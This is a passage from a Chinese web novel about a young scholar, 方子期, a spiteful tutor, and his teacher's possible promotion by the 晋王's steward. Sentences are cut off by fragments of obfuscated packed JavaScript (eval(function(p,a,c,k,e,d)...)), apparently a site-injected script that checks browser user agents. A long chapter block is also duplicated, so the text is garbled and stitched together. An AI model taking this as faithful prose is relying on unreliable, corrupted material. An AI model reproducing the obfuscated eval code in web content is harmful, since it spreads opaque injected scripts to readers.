这一堂课下来,差不多将地一班的一半学生都打了一顿。 要知道能在省学读书的,那大多都是世家子弟,身份都不一般的。 “哎!” “方兄可能不知,吴夫子出身通衢府吴家……” “而吴家素来被晋王所倚仗。” “谁敢找他的茬?” “据说这吴夫子原先也是在王府任职的,只是后来犯了错,被发配到省学来了。” “虽然吴夫子被冷落了,但是吴家可有不少子弟都在晋王麾下效力。” “不看僧面看佛面,谁敢招惹吴夫子啊!” “所以…方兄,要么努努力,考个月考前三名,升到天班去就好了。” “亦或者考个倒数前三名,降去玄班亦可!” “不过不管是月考前三名还是倒数前三名都不容易。” “因为地一班每次月考,都有学子交白卷的……” 谢承裕苦笑摇头道。 好家伙…… 还能这么玩? 方子期眉毛一挑…… 那林疏桐之所以不愿意来地班,不会就是因为这吴夫子吧? 下午时分。 方子期被吴夫子抽中了。 随即颇为刁难地问了方子期好几个问题。 方子期根据经义,一一作答,堪称完美。 吴夫子眉头一皱…… 这小人…… 全答出来了? “坐下吧!” 吴夫子不动声色道。 随即感觉胸中有口郁气没发泄出去,随即继续点名下一个学子,提出了更刁难的问题。 这个学 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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老莫招了招手道。 方子期点点头,遂站在一旁往院内瞥了一眼,刚好看到刘青芝正在同一个灰衣中年男子相谈甚欢。 刘青芝的脸上,也久违地露出了一些笑容。 “那是主人的师弟苏继儒,晋王府左长史。” “今日不知怎么突然就来了。” 老莫在一旁嘀咕道,也是说给方子期听的。 方子期目光一凝…… 王府长史? 第189章 吾师,都要升官了 按例,像晋王这样的亲王府会在王府内设置长史司。 其主要职责就是总领王府事务。 大概就相当于王府的管家。 但是这长史司一般是直接对朝廷负责的,甚至还可以**藩王的不法行为。 长史司设左长史一名,正五品官职,设右长史一名,亦是正五品。 不过一般来说以左为尊,右长史多数情况下是辅佐左长史分管一些事务。 这长史的官职虽不高,可晋王的长史就不一样了。 宰相门前七品官,就是这么个道理。 晋王如日中天,晋王的长史自然也一样。 至于说长史有**藩王之权…… 这在晋王府就更不存在了。 汉江省的鹰扬卫尚且都听命晋王,更何况区区一个长史呢? 方子期不由得多看了几眼那灰袍中年男子,眼眸中露出一丝异样神采。 没想到刘教授还有此等关系! 此刻,小院内。 刘青芝拿起茶盏喝了一口。 “好了继儒!” “你且先回去吧!我学生已来了!” 刘青芝开始驱客了。 “学生?” “就门口那位?” “师兄。” “我可从未见你对哪位学生这般在意?” “为了你那宝贝徒儿,连师弟都顾不上了吗?” 苏继儒忍不住幽幽道。 “去去去!” “少在我面前搞这一套!” “来日再叙吧!” 刘青芝摆摆手道。 苏继儒点点头,也并未多说什么,只是临走之前郑重其事道:“师兄!你之才学,**通今!屈尊于省学,实在是太可惜了,希望师兄好好斟酌考量一下我之所言!” “这天下,是天下人的天下!” 苏继儒说完,转身离去。 来到门口的时候,苏继儒细细地打量了方子期数眼。 看着也就孩童模样,只是这双眸子倒是透亮得紧。 方子期在一旁恭敬站立。 “苏大人!” 方子期同老莫一样称呼。 “怎么?” “一句师叔都不能叫了?” 苏继儒打趣道。 恰逢此时,刘青芝从小院内走了出来。 “你怎么还不走?” “快走快走!” “少打搅我徒儿进学!” 刘青芝摆摆手,颇为不耐道。 苏继儒也不恼,只是冲着方子期笑了笑,方子期也微笑回应:“师叔慢走。” “嗯?” “你小子倒是比你老师要懂事得多。” 苏继儒笑了笑,随即转身离去。 方子期跟着刘青芝进入小院。 “不用理会他。” “他这个人素来如此玩世不恭。” “以前读书的时候就是如此,现在仍是如此,像个老顽童一样。” 刘青芝抚摸胡须,笑着道。 “学生倒觉得苏师叔天真烂漫,倒是极好。” 方子期故意道。 “天真烂漫?” “他?” “一肚子的阴谋算计!” “你可知他此行所为何来?” 刘青芝脸上露出笑容。 方子期:“……” 我又不是你肚子里的蛔虫,你不说,我哪知道…… “师叔前来不是同老师一叙旧谊的吗?” 方子期随口道。 “他可没那个闲心。” “柳大宗师马上要调去京城了,此事你应当早就知晓了吧?” 刘青芝笑着道。 方子期一惊。 好家伙…… 难不成…… “老师,难道您要高升了?” 方子期只能作此等想法了。 柳大宗师调去京城。 这汉江省学政的位置就空下来了,难不成是刘青芝继任? “你这小家伙,倒是有几分灵敏。” “继儒来找我,确是因为晋王想让我出任汉江省学政兼按察副使。” “不过为师还在考量之中。” 刘青芝说到此处,忍不住微微一叹。 汉江省学政,正四品官职。 至于按察副使,相当于是按察使的副手,从四品官职。 真正的按察使,是正三品官职,掌管一省刑狱裁决和官员监察等! 按察副使的职务就比较分散了,既可以是管理军户清理的‘清军道’,也可以是管教育的‘提学道’! 此刻若是刘青芝同时兼任任汉江省学政兼按察副使的话,那自然分管的就是教育。 现在的刘青芝是正六品的省学教授。 直接升任到正四品的学政,这相当于直接连升四级了啊! 再兼任一个从四品的按察副使,说明稍微熬一熬资历,就能给扶正了。 到时候就是汉江省正儿八经的正三品按察使了。 这在汉江省已经是数得上号的高官了。 方子期很唏嘘。 我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“到时候恐怕连这省学都回不来了。” “说不得还要落个身死道消的下场。” 刘青芝叹了口气道。 第189章 吾师,都要升官了 按例,像晋王这样的亲王府会在王府内设置长史司。 其主要职责就是总领王府事务。 大概就相当于王府的管家。 但是这长史司一般是直接对朝廷负责的,甚至还可以**藩王的不法行为。 长史司设左长史一名,正五品官职,设右长史一名,亦是正五品。 不过一般来说以左为尊,右长史多数情况下是辅佐左长史分管一些事务。 这长史的官职虽不高,可晋王的长史就不一样了。 宰相门前七品官,就是这么个道理。 晋王如日中天,晋王的长史自然也一样。 至于说长史有**藩王之权…… 这在晋王府就更不存在了。 汉江省的鹰扬卫尚且都听命晋王,更何况区区一个长史呢? 方子期不由得多看了几眼那灰袍中年男子,眼眸中露出一丝异样神采。 没想到刘教授还有此等关系! 此刻,小院内。 刘青芝拿起茶盏喝了一口。 “好了继儒!” “你且先回去吧!我学生已来了!” 刘青芝开始驱客了。 “学生?” “就门口那位?” “师兄。” “我可从未见你对哪位学生这般在意?” “为了你那宝贝徒儿,连师弟都顾不上了吗?” 苏继儒忍不住幽幽道。 “去去去!” “少在我面前搞这一套!” “来日再叙吧!” 刘青芝摆摆手道。 苏继儒点点头,也并未多说什么,只是临走之前郑重其事道:“师兄!你之才学,**通今!屈尊于省学,实在是太可惜了,希望师兄好好斟酌考量一下我之所言!” “这天下,是天下人的天下!” 苏继儒说完,转身离去。 来到门口的时候,苏继儒细细地打量了方子期数眼。 看着也就孩童模样,只是这双眸子倒是透亮得紧。 方子期在一旁恭敬站立。 “苏大人!” 方子期同老莫一样称呼。 “怎么?” “一句师叔都不能叫了?” 苏继儒打趣道。 恰逢此时,刘青芝从小院内走了出来。 “你怎么还不走?” “快走快走!” “少打搅我徒儿进学!” 刘青芝摆摆手,颇为不耐道。 苏继儒也不恼,只是冲着方子期笑了笑,方子期也微笑回应:“师叔慢走。” “嗯?” “你小子倒是比你老师要懂事得多。” 苏继儒笑了笑,随即转身离去。 方子期跟着刘青芝进入小院。 “不用理会他。” “他这个人素来如此玩世不恭。” “以前读书的时候就是如此,现在仍是如此,像个老顽童一样。” 刘青芝抚摸胡须,笑着道。 “学生倒觉得苏师叔天真烂漫,倒是极好。” 方子期故意道。 “天真烂漫?” “他?” “一肚子的阴谋算计!” “你可知他此行所为何来?” 刘青芝脸上露出笑容。 方子期:“……” 我又不是你肚子里的蛔虫,你不说,我哪知道…… “师叔前来不是同老师一叙旧谊的吗?” 方子期随口道。 “他可没那个闲心。” “柳大宗师马上要调去京城了,此事你应当早就知晓了吧?” 刘青芝笑着道。 方子期一惊。 好家伙…… 难不成…… “老师,难道您要高升了?” 方子期只能作此等想法了。 柳大宗师调去京城。 这汉江省学政的位置就空下来了,难不成是刘青芝继任? “你这小家伙,倒是有几分灵敏。” “继儒来找我,确是因为晋王想让我出任汉江省学政兼按察副使。” “不过为师还在考量之中。” 刘青芝说到此处,忍不住微微一叹。 汉江省学政,正四品官职。 至于按察副使,相当于是按察使的副手,从四品官职。 真正的按察使,是正三品官职,掌管一省刑狱裁决和官员监察等! 按察副使的职务就比较分散了,既可以是管理军户清理的‘清军道’,也可以是管教育的‘提学道’! 此刻若是刘青芝同时兼任任汉江省学政兼按察副使的话,那自然分管的就是教育。 现在的刘青芝是正六品的省学教授。 直接升任到正四品的学政,这相当于直接连升四级了啊! 再兼任一个从四品的按察副使,说明稍微熬一熬资历,就能给扶正了。 到时候就是汉江省正儿八经的正三品按察使了。 这在汉江省已经是数得上号的高官了。 方子期很唏嘘。 我的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“说不得还要落个身死道消的下场。” 刘青芝叹了口气道。